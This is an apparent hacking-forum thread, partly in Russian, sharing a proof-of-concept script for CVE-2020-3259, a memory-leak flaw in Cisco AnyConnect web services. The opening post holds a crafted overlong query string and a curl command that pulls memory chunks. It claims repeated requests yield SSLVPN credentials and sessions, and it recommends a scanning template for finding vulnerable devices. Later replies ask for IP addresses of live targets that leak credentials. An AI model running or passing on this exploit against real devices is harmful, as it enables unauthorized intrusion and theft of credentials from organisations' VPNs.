Web [CVE-2020-3259] Cisco AnyConnect Web Services Information Disclosure Vulnerability

[mkhalilovx29]

Hey Community!

Didn't see any posts about this PoC, so I figured I'd share since it's still kicking around in 2024: Link

POC: POC Link

Cisco-CVE-2020-3259.sh

ARGSTR='+CSCOE+/sdesktop/webstart.xml?tokeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeen=!@#$%^&%^&%^&%^&%^&%^&%^&%^%^&%^&%^&%^&%^%^&%^&%^&%^&test=%p'
echo $ARGSTR
curl -k https://1.2.3.4/$ARGSTR --trace-ascii output.txt

This bad boy's a Heartbleed-style vuln. Every time you fire off a request, you can snag a chunk of memory.


Do it enough times (with a bit of luck) and boom – you've got Cisco SSLVPN creds or login sessions.


Can't find any Nuclei or Nmap templates to scan for this thing, but here's a tip: check out the changelog for the fix. The versions are pretty close to the ones that patched CVE-2020-3580 (not exactly, but close enough).


So, you can hunt for vulnerable devices using the CVE-2020-3580 Nuclei template: Template

 

[xemi]

ty!

 

[DramaQueen]

thx for sharing it

 

[C0rtex]

кто нибудь тестил эту тему выдает что нибудь? если у кого выдает скиньте пж айпишку с которого креды сыпит или еще чего, посмотреть какой вывод, спасибо заранее!

 

[mkhalilovx29]

Has anyone tested this theme and does it show anything? If anyone gives it out, please send off the IP address from which it is pouring out credits or something else, see what the output is, thanks in advance!

Test on this target you can have see the response in hex mode

Recommended to using Postman instead of Curl , as the payload have escape chars

 

[Dreizack]

Hello! Can you share vulnerable ip?

Test on this target you can have see the response in hex mode


Скрытое содержимое

Recommended to using Postman instead of Curl , as the payload have escape chars

 

[smitmash]

кто нибудь тестил эту тему выдает что нибудь? если у кого выдает скиньте пж айпишку с которого креды сыпит или еще чего, посмотреть какой вывод, спасибо заранее!

И мне пожлста, хочу понять где смотреть. СПС.